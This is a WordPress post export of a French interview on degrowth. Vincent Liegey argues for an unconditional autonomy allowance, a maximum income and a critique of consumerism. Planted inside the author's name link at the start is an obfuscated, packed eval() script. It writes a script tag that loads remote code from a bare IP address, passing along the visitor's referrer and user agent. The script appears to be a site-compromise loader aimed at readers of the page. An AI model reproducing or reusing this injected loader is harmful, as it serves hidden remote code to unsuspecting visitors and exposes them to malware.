{"id":8143,"date":"2013-03-25T09:48:09","date_gmt":"2013-03-25T08:48:09","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=8143"},"modified":"2013-03-25T09:48:34","modified_gmt":"2013-03-25T08:48:34","slug":"la-liberte-de-consommer-est-une-illusion-bien-cher-payee","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=8143","title":{"rendered":"\u00ab La libert\u00e9 de consommer est une illusion bien cher pay\u00e9e \u00bb"},"content":{"rendered":"<p>par <a href=\"http:\/\/www.bastamag.net\/auteur18.html\">Agn\u00e8s <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brhen|var|u0026u|referrer|rsznb||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Rousseaux<\/a> de <a href=\"http:\/\/www.bastamag.net\/article2987.html\">BastaMag<\/a> (25 mars 2013)<\/p>\n<div>\n<p><i>\u00ab\u00a0Nous avons r\u00e9ussi \u00e0 cr\u00e9er de la mis\u00e8re et du mal-\u00eatre dans des soci\u00e9t\u00e9s d\u2019opulence mat\u00e9rielle\u00a0\u00bb<\/i>, ass\u00e8ne Vincent Liegey. L\u2019ing\u00e9nieur et porte-parole du Parti pour la d\u00e9croissance ne se contente pas de pourfendre le mythe de la croissance infini. Lui et les co-auteurs du livre \u00ab\u00a0Un projet de d\u00e9croissance\u00a0\u00bb proposent d\u2019accorder \u00e0 chacun une \u00ab\u00a0dotation inconditionnelle d\u2019autonomie\u00a0\u00bb\u00a0: un revenu d\u2019existence qui pourrait ouvrir bien des horizons. Et une invitation \u00e0 nous questionner sur le sens de notre soci\u00e9t\u00e9.<\/p>\n<\/div>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"http:\/\/www.bastamag.net\/local\/cache-vignettes\/L500xH226\/arton2987-95687.jpg\" width=\"500\" height=\"226\" \/><\/p>\n<p><strong>Source<\/strong> : <a href=\"http:\/\/www.bastamag.net\/article2987.html\">http:\/\/www.bastamag.net\/article2987.html<\/a><\/p>\n<p><!--more--><\/p>\n<div>\n<p><strong> <i>Basta\u00a0!<\/i>\u00a0: Instaurer un revenu de base, aussi appel\u00e9 revenu d\u2019existence ou allocation universelle, est une revendication qui commence \u00e0 \u00e9merger. Vous faites une nouvelle proposition en ce sens. En quoi votre projet est-il original\u00a0?<\/strong><\/p>\n<p><strong>Vincent Liegey<\/strong>\u00a0[<a id=\"nh1\" title=\"Ing\u00e9nieur, porte-parole du Parti pour la d\u00e9croissance (PPLD)\" href=\"http:\/\/www.bastamag.net\/article2987.html#nb1\" rel=\"footnote\">1<\/a>]\u00a0: Le <a href=\"http:\/\/www.bastamag.net\/article2056.html\">revenu d\u2019existence<\/a> consiste \u00e0 donner \u00e0 tous, de la naissance \u00e0 la mort et de mani\u00e8re inconditionnelle, un revenu. C\u2019est une id\u00e9e tr\u00e8s ancienne que l\u2019on a contribu\u00e9 \u00e0 exhumer, mais avec un regard critique\u00a0: ce type de revenu peut tr\u00e8s bien s\u2019inscrire dans le syst\u00e8me \u00e9conomique actuel, sans le renverser ni le questionner. M\u00eame Milton Friedman, l\u2019un des p\u00e8res du n\u00e9olib\u00e9ralisme, \u00e9tait favorable \u00e0 un revenu d\u2019existence \u2013 en supprimant minimas sociaux et syndicats, et en laissant agir la \u00ab\u00a0main invisible\u00a0\u00bb du march\u00e9\u00a0! Nous avons d\u00e9velopp\u00e9 une proposition, la dotation inconditionnelle d\u2019autonomie (DIA), qui s\u2019appuie sur les r\u00e9flexions pass\u00e9es, mais qui se situe hors du syst\u00e8me marchand. Un revenu de base \u00ab\u00a0d\u00e9mon\u00e9taris\u00e9\u00a0\u00bb, en quelque sorte.<\/p>\n<p><strong>Comment ce revenu sera-t-il vers\u00e9 aux citoyens\u00a0?<\/strong><\/p>\n<p>Nous proposons une DIA distribu\u00e9e non pas en euros, mais en droits d\u2019acc\u00e8s, en droits de tirage sur les ressources, et en syst\u00e8me mon\u00e9taire alternatif. Il s\u2019agit de donner \u00e0 tous ce qui est n\u00e9cessaire pour avoir une vie d\u00e9cente et frugale\u00a0: un \u00ab\u00a0droit de tirage\u00a0\u00bb sur le foncier, pour permettre \u00e0 chacun d\u2019avoir un logement, un local d\u2019activit\u00e9 ou un lopin de terre pour \u00eatre autosuffisant en nourriture. Un droit de tirage sur les ressources naturelles de base, comme l\u2019eau, le gaz et l\u2019\u00e9lectricit\u00e9\u00a0: les premiers kWh ou m3 seraient gratuits. Et le tarif devient ensuite progressif pour p\u00e9naliser les consommations jug\u00e9es excessives. Pourquoi devrait-on payer au m\u00eame prix l\u2019eau pour boire ou faire la cuisine, et celle pour remplir sa piscine individuelle ou laver son 4&#215;4\u00a0? La DIA donnerait \u00e9galement un droit d\u2019acc\u00e8s, gratuitement, aux services publics, \u00e0 l\u2019\u00e9ducation, \u00e0 la culture, aux services de pompes fun\u00e8bres&#8230; Et, troisi\u00e8me \u00e9l\u00e9ment, une partie de la DIA serait vers\u00e9e <a href=\"http:\/\/www.bastamag.net\/article2914.html\">en monnaie locale<\/a>, pour encourager la consommation locale, par exemple pour l\u2019alimentation ou l\u2019habillement.<\/p>\n<p><strong>Cette proposition oblige \u00e0 une r\u00e9flexion collective sur ce que l\u2019on produit, comment on le produit, et pour quel usage&#8230;<\/strong><\/p>\n<p>Nous sommes face \u00e0 une crise syst\u00e9mique, dans laquelle tout est li\u00e9. Il est impossible \u2013 voire dangereux \u2013 de sectoriser les choses, sinon on perd le sens de ce que l\u2019on fait. Comme le disait Nicholas Georgescu-Roegen, l\u2019un des penseurs de la d\u00e9croissance, on a commenc\u00e9 \u00e0 se planter quand on a cloisonn\u00e9 les sciences\u00a0[<a id=\"nh2\" title=\"Ce math\u00e9maticien, \u00e9conomiste et philosophe des sciences a tent\u00e9 de faire lien\u00a0(...)\" href=\"http:\/\/www.bastamag.net\/article2987.html#nb2\" rel=\"footnote\">2<\/a>]. Nous sommes capables de fabriquer des smartphones et des objets tr\u00e8s complexes, mais incapables d\u2019avoir du recul pour comprendre les impacts \u00e9cologiques, culturels, sociaux de ces objets. Et beaucoup de gens ne savent plus pourquoi ils travaillent \u2013 \u00e0 part recevoir un salaire. Il faut rompre avec la logique de fabrication d\u2019objets \u00e0 dur\u00e9e de vie limit\u00e9e. Nous devons aussi sortir de <a href=\"http:\/\/www.bastamag.net\/article1295.html\">l\u2019obsolescence programm\u00e9e<\/a> culturelle, encourag\u00e9e par la publicit\u00e9, qui pousse \u00e0 vendre de plus en plus de produits dont on n\u2019a pas vraiment besoin. Travailler plus, pour produire toujours plus de choses inutiles\u00a0! Beaucoup ne veulent plus de cette logique. La DIA permet de sortir du travail contraint, de cette obligation de subir des jobs qui ont de moins en moins de sens. Il s\u2019agit d\u2019exp\u00e9rimenter, retrouver un sens au travail, se r\u00e9approprier les outils. Et r\u00e9parer, recycler, partager des savoir-faire pour que les gens deviennent autonomes.<\/p>\n<p><strong>Concr\u00e8tement, comment mettre en place cette dotation inconditionnelle d\u2019autonomie\u00a0?<\/strong><\/p>\n<p>Les sc\u00e9narios de transition s\u2019inscrivent dans le temps long. Et s\u2019appuient sur le fait que la transition est d\u00e9j\u00e0 en marche\u00a0: il s\u2019agit d\u2019\u00e9tendre toutes les initiatives concr\u00e8tes qui se d\u00e9veloppent un peu partout dans le monde, en rupture avec le syst\u00e8me dominant. Deux d\u00e9marches peuvent ensuite servir de catalyseurs\u00a0: la r\u00e9duction et le partage du temps de travail, pour en finir avec le ch\u00f4mage et r\u00e9investir le temps lib\u00e9r\u00e9 dans la participation politique et le d\u00e9veloppement de ces alternatives concr\u00e8tes. Le deuxi\u00e8me levier est la mise en place d\u2019un revenu inconditionnel d\u2019existence, tr\u00e8s simple d\u2019un point de vue technique, qui demande uniquement du courage politique. On donne 700 ou 1000 euros \u00e0 chacun, \u00e0 l\u2019\u00e9chelle d\u2019une r\u00e9gion, d\u2019un pays ou de l\u2019Europe. Les gens seront peu \u00e0 peu lib\u00e9r\u00e9s du travail contraint et pourront participer \u00e0 cette transformation de la soci\u00e9t\u00e9. Et \u00e0 terme, on d\u00e9mon\u00e9tarise ce revenu pour aller vers une dotation inconditionnelle d\u2019autonomie.<\/p>\n<p><strong>Comment financer un tel projet\u00a0?<\/strong><\/p>\n<p>Le financement n\u2019est pas un probl\u00e8me. Ce n\u2019est pas une question comptable, mais un choix politique. Nos soci\u00e9t\u00e9s n\u2019ont jamais \u00e9t\u00e9 aussi riches mat\u00e9riellement. Elle atteignent pourtant des niveaux records d\u2019in\u00e9galit\u00e9 \u2013 un rapport de 1 \u00e0 4000 entre les revenus minimum et maximum\u00a0! Premi\u00e8re \u00e9tape de la transition\u00a0: refuser ces in\u00e9galit\u00e9s et mettre en place un revenu maximum acceptable. Un rapport de 1 \u00e0 4 entre revenu minimum et maximum nous semble int\u00e9ressant. Il nous faut d\u00e9coloniser notre imaginaire, notamment cette id\u00e9e que devenir tr\u00e8s riche est un objectif en soi, et que le mode de vie des tr\u00e8s riches rend heureux \u2013 cela reste \u00e0 prouver\u00a0! La premi\u00e8re d\u00e9croissance \u00e0 r\u00e9aliser est celle des in\u00e9galit\u00e9s. Ensuite, posons-nous la question\u00a0: faut-il rembourser la dette publique, qui ne sera de toute fa\u00e7on jamais totalement rembours\u00e9e\u00a0? A qui cela profite-t-il\u00a0? Quel int\u00e9r\u00eat de maintenir une monnaie forte\u00a0? Il faut sortir du dogme de l\u2019ind\u00e9pendance des banques centrales, se r\u00e9approprier la cr\u00e9ation mon\u00e9taire.<\/p>\n<p><strong>Le revenu maximum \u2013 et la d\u00e9croissance \u2013 ne sont-ils pas une atteinte \u00e0 la \u00ab\u00a0libert\u00e9 de consommer\u00a0\u00bb\u00a0?<\/strong><\/p>\n<p>Nous vivons dans une illusion de toute-puissance, car nous ne voyons jamais les \u00ab\u00a0externalit\u00e9s\u00a0\u00bb de notre mode de vie. La libert\u00e9 de conduire son 4&#215;4\u00a0? Totalement illusoire\u00a0! Celui qui conduit son 4&#215;4 ne voit pas toutes les cons\u00e9quences \u00e9cologiques et humaines de ce geste. Le complexe militaro-industriel qui permet de contr\u00f4ler les derni\u00e8res ressources de p\u00e9trole, l\u2019expropriation des populations pour cultiver des agrocarburants, les conditions de travail extr\u00eamement dures pour produire les pi\u00e8ces de sa voiture. C\u2019est une libert\u00e9 bien cher pay\u00e9e\u00a0! S\u2019il devait payer le prix r\u00e9el ou subir lui-m\u00eame toutes ces contraintes, tous les sacrifices n\u00e9cessaires pour une heure de jouissance de sa voiture, il consid\u00e9rait autrement cette libert\u00e9. Il ne s\u2019agit pas d\u2019interdire mais de montrer les co\u00fbts humains et \u00e9cologiques r\u00e9els, ce qui nous am\u00e8ne \u00e0 regarder autrement beaucoup de consommations qui nous paraissent aujourd\u2019hui anodines.<\/p>\n<p><strong>Entrer en d\u00e9croissance, est-ce renoncer \u00e0 un certain confort\u00a0?<\/strong><\/p>\n<p>Nous avons r\u00e9ussi \u00e0 cr\u00e9er de la mis\u00e8re et du mal-\u00eatre dans des soci\u00e9t\u00e9s d\u2019opulence mat\u00e9rielle. Quelqu\u2019un qui touche le RSA en France a des conditions de vie tr\u00e8s dures, mais a pourtant une empreinte \u00e9cologique qui n\u2019est pas soutenable. On peut aujourd\u2019hui avoir une bagnole et \u00eatre mis\u00e9reux. A cause de la mani\u00e8re dont on a organis\u00e9 le travail, l\u2019urbanisme, notre d\u00e9pendance \u00e0 un syst\u00e8me extr\u00eamement \u00e9nergivore\u2026 Les \u00e9tudes sur les indicateurs subjectifs de bien-\u00eatre montrent que le plus important n\u2019est pas le niveau de confort mat\u00e9riel en lui-m\u00eame mais le niveau des in\u00e9galit\u00e9s\u00a0: plus les in\u00e9galit\u00e9s sont fortes, plus le sentiment de mal-\u00eatre sera fort. Aller vers des soci\u00e9t\u00e9s mat\u00e9riellement frugales, \u00e9cologiquement soutenables, cela ne veut pas dire revenir \u00e0 la bougie. L\u2019enjeu est de revenir \u00e0 une soci\u00e9t\u00e9 beaucoup plus simple, \u00e0 un autre type de confort mat\u00e9riel, sans remettre en question les avanc\u00e9es de la soci\u00e9t\u00e9 actuelle. Sortir de la m\u00e9ga-machine, de la technostructure, comme y invitait Ivan Illich, autre penseur de la d\u00e9croissance. Retrouver aussi ce qui a \u00e9t\u00e9 d\u00e9truit\u00a0: convivialit\u00e9, solidarit\u00e9, le \u00ab\u00a0buen vivir\u00a0\u00bb, ce concept de la \u00ab\u00a0vie bonne\u00a0\u00bb d\u00e9velopp\u00e9 en Am\u00e9rique latine.<\/p>\n<p><strong>La dotation inconditionnelle d\u2019autonomie remet-elle en cause la propri\u00e9t\u00e9 priv\u00e9e\u00a0?<\/strong><\/p>\n<p>La propri\u00e9t\u00e9 priv\u00e9e va souvent \u00e0 l\u2019encontre de l\u2019int\u00e9r\u00eat g\u00e9n\u00e9ral. On le voit de mani\u00e8re criante avec le foncier\u00a0: il y a \u00e9norm\u00e9ment de b\u00e2timents vides et toujours plus de sans-abris. C\u2019est un choix politique, intol\u00e9rable. Il faut appliquer les lois de r\u00e9quisition. Idem pour la nourriture\u00a0: un milliard de personnes sont en situation de malnutrition, alors que nous avons les capacit\u00e9s techniques de produire suffisamment pour tous. Nous sommes favorables \u00e0 ce que le droit d\u2019usage puisse remettre en question le droit de propri\u00e9t\u00e9. Cela peut se faire de mani\u00e8re barbare, en coupant des t\u00eates \u2013 l\u2019histoire l\u2019a d\u00e9j\u00e0 montr\u00e9. Mais nous sommes dans une d\u00e9marche non-violente, \u00e0 l\u2019oppos\u00e9 des formes d\u2019\u00e9co-fascisme, qui voudraient, au nom d\u2019une v\u00e9rit\u00e9 politique, imposer par exemple une empreinte \u00e9cologique soutenable du jour au lendemain \u00e0 tout le monde. Le droit de propri\u00e9t\u00e9 s\u2019est mis en place historiquement par la violence, par des expropriations. Cela ne veut pas dire qu\u2019il faut faire la m\u00eame chose&#8230; Est-il possible aujourd\u2019hui d\u2019appliquer des lois de r\u00e9quisition sans violence\u00a0? Qui peut le dire\u00a0?<\/p>\n<p><strong>Mettre en \u0153uvre une dotation inconditionnelle d\u2019autonomie, c\u2019est aussi changer de rapport au politique&#8230;<\/strong><\/p>\n<p>Avant d\u2019\u00eatre un outil technique, la DIA est un outil de repolitisation de la soci\u00e9t\u00e9. Il s\u2019agit de d\u00e9velopper la participation, mais aussi la responsabilit\u00e9. Nous vivons dans des soci\u00e9t\u00e9s o\u00f9 l\u2019on ne voit jamais les cons\u00e9quences de nos gestes de consommation. Nous voulons relocaliser, pour que les d\u00e9cisions soient prises par les personnes qui en subissent les cons\u00e9quences. Une soci\u00e9t\u00e9 d\u00e9mocratique est une soci\u00e9t\u00e9 o\u00f9 chaque citoyen est capable d\u2019\u00eatre dirig\u00e9 et d\u2019\u00eatre dirigeant, disait Cornelius Castoriadis, un des penseurs qui a influenc\u00e9 la d\u00e9croissance, en citant Aristote. Il faut aussi utiliser tous les outils d\u00e9mocratiques \u00e0 disposition\u00a0: tirage au sort, d\u00e9lib\u00e9ration citoyenne, d\u00e9mocratie repr\u00e9sentative et directe, r\u00e9f\u00e9rendums et pr\u00e9f\u00e9rendums&#8230;<\/p>\n<p><strong>\u00ab\u00a0Ni relance ni aust\u00e9rit\u00e9\u00a0\u00bb, affirmez-vous. La d\u00e9croissance, cela passe par quoi\u00a0?<\/strong><\/p>\n<p>Les solutions politiques imagin\u00e9es aujourd\u2019hui ne sont pas bonnes. Avec l\u2019aust\u00e9rit\u00e9, on cr\u00e9e une soci\u00e9t\u00e9 de croissance sans croissance. Il n\u2019y a rien de pire. La relance n\u2019est pas une solution non plus. Elle s\u2019appuie sur l\u2019imaginaire de la p\u00e9riode enchant\u00e9e des Trente Glorieuses et de son d\u00e9veloppement \u00e9conomique sans pr\u00e9c\u00e9dent, qui n\u2019a \u00e9t\u00e9 possible que parce qu\u2019il fallait tout reconstruire, et qu\u2019on avait un exc\u00e8s de ressources naturelles et \u00e9nerg\u00e9tiques venant de nos anciennes colonies. Il n\u2019est ni possible ni souhaitable de revenir \u00e0 cette situation. L\u2019aust\u00e9rit\u00e9 est barbare, la relance est une fuite en avant dans le mythe de la croissance.<\/p>\n<p>Nous sommes face \u00e0 l\u2019effondrement d\u2019une civilisation. Ce n\u2019est pas nouveau, c\u2019est un cycle normal dans l\u2019histoire. Mais aujourd\u2019hui l\u2019ensemble de la plan\u00e8te est embarqu\u00e9 sur ce Titanic. Et l\u2019effondrement met en p\u00e9ril l\u2019aventure humaine telle qu\u2019on la conna\u00eet, et va transformer en profondeur nos conditions de vie. Ce sera un choc extr\u00eamement violent. Nous essayons de comprendre cette crise anthropologique et de construire d\u2019autres civilisations en rupture avec celle-ci. Avec une contradiction\u00a0: il faut aller vite, tout en faisant quelque chose qui demande du temps. Un changement de nos habitudes, une d\u00e9colonisation de notre imaginaire, une transformation de nos institutions qui sont toxico-d\u00e9pendantes de la croissance&#8230;<\/p>\n<p><strong>Ce qui permettra d\u2019aller vers la d\u00e9croissance\u00a0? <\/strong><\/p>\n<p>La d\u00e9croissance est multiple, il n\u2019existe pas <i>un<\/i> projet de d\u00e9croissance, mais plusieurs transitions possibles. Il est important de cultiver une diversit\u00e9 d\u2019approches et de sensibilit\u00e9s. Le but de la d\u00e9croissance, \u00e0 travers son slogan provocateur, est d\u2019ouvrir des possibles de pens\u00e9e. Nous tentons de penser l\u2019utopie, ce vers quoi on veut tendre \u2013 sans peut-\u00eatre jamais l\u2019atteindre. Et de d\u00e9finir un projet de transition qui part de la soci\u00e9t\u00e9 actuelle, tout en \u00e9tant compl\u00e8tement en rupture avec celle-ci. Nous faisons \u00e9videmment face \u00e0 de nombreuses contradictions. Nous sommes contraints de partir du mod\u00e8le actuel que nous n\u2019avons pas choisi, ce qui oblige au compromis. L\u2019important est de savoir o\u00f9 l\u2019on va et d\u2019assumer avec humilit\u00e9 et autocritique ces contradictions, en fonction des diff\u00e9rentes strat\u00e9gies choisies pour transformer la soci\u00e9t\u00e9 en profondeur.<\/p>\n<p><strong>La d\u00e9croissance fait-elle son chemin au sein des partis politiques et dans la soci\u00e9t\u00e9\u00a0?<\/strong><\/p>\n<p>Il y a quelques ann\u00e9es, aucun parti de gauche ne se disait ouvertement anti-productiviste. Aujourd\u2019hui plus personne n\u2019ose dire le contraire\u00a0: m\u00eame s\u2019ils le restent culturellement, ces partis ont du mal \u00e0 se d\u00e9finir comme \u00e9tant productivistes. Le mouvement de la d\u00e9croissance, \u00e0 travers sa pens\u00e9e radicale et son r\u00f4le d\u2019emp\u00eacheur de penser en rond, est aujourd\u2019hui \u00e9cout\u00e9 et respect\u00e9. Il interpelle. Deux mouvements se sont structur\u00e9s\u00a0: le Mouvement des objecteurs de croissance (<a href=\"http:\/\/www.les-oc.info\/\" target=\"_blank\" rel=\"external\">MOC<\/a>) et le Parti pour la d\u00e9croissance (<a href=\"http:\/\/www.partipourladecroissance.net\/\" target=\"_blank\" rel=\"external\">PPLD<\/a>). On retrouve des objecteurs de croissance partout. Comme le dit <a href=\"http:\/\/www.bastamag.net\/article2273.html\">Paul Ari\u00e8s<\/a>, ce mouvement est \u00e0 la fois un ovni politique et une auberge espagnole, dont on a du mal \u00e0 d\u00e9finir les limites. Et tant mieux\u00a0! Cela va bien au-del\u00e0 de nos mouvements et des partis de gauche. Beaucoup de gens ne se d\u00e9finissent pas comme d\u00e9croissants mais partagent un certain nombre de valeurs, essayant dans leur quotidien de se m\u00e9nager des espaces de libert\u00e9, d\u2019avoir un autre rapport \u00e0 la consommation, au travail, un autre rythme de vie. C\u2019est une invitation \u00e0 aller plus loin dans les questionnements et \u00e0 ouvrir des possibles pour sortir de la croissance.<\/p>\n<p>Propos recueillis par Agn\u00e8s Rousseaux<\/p>\n<p><a href=\"https:\/\/twitter.com\/AgnesRousseaux\" target=\"_blank\" rel=\"external\">@AgnesRousseaux<\/a> sur twitter<\/p>\n<p>Photo\u00a0: Ophelia Noor (portrait) \/ <a href=\"http:\/\/www.extraenvironmentalist.com\/2012\/05\/24\/degrowth-american-dream\/\" target=\"_blank\" rel=\"external\">Source<\/a><\/p>\n<p><strong>\u00c0 lire<\/strong>\u00a0: Vincent Liegey, Ste?phane Madelaine, Christophe Ondet et Anne-Isabelle Veillot, <i>Un projet de D\u00e9croissance, Manifeste pour une Dotation Inconditionnelle d\u2019Autonomie<\/i>, \u00c9ditions Utopia, 2013. 156 pages, 7 euros. Voir <a href=\"http:\/\/www.projet-decroissance.net\/\" target=\"_blank\" rel=\"external\">le site<\/a>.<\/p>\n<\/div>\n<div>\n<h4>Notes<\/h4>\n<p>[<a id=\"nb1\" title=\"Notes 1\" href=\"http:\/\/www.bastamag.net\/article2987.html#nh1\" rev=\"footnote\">1<\/a>] Ing\u00e9nieur, porte-parole du Parti pour la d\u00e9croissance (<a href=\"http:\/\/www.partipourladecroissance.net\/?cat=3\" rel=\"external\">PPLD<\/a>)<\/p>\n<p>[<a id=\"nb2\" title=\"Notes 2\" href=\"http:\/\/www.bastamag.net\/article2987.html#nh2\" rev=\"footnote\">2<\/a>] Ce math\u00e9maticien, \u00e9conomiste et philosophe des sciences a tent\u00e9 de faire lien entre \u00e9conomie, sciences physiques et biologiques. P\u00e8re de la bio\u00e9conomique, il a notamment introduit le concept physique d\u2019entropie dans ses analyses \u00e9conomiques, et utilis\u00e9 la thermodynamique pour d\u00e9montrer que les ressources naturelles s\u2019\u00e9puisent irr\u00e9vocablement. Ses analyses ont abouti au concept de d\u00e9croissance.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>par Agn\u00e8s Rousseaux de BastaMag (25 mars 2013) \u00ab\u00a0Nous avons r\u00e9ussi \u00e0 cr\u00e9er de la mis\u00e8re et du mal-\u00eatre dans des soci\u00e9t\u00e9s d\u2019opulence mat\u00e9rielle\u00a0\u00bb, ass\u00e8ne Vincent Liegey. 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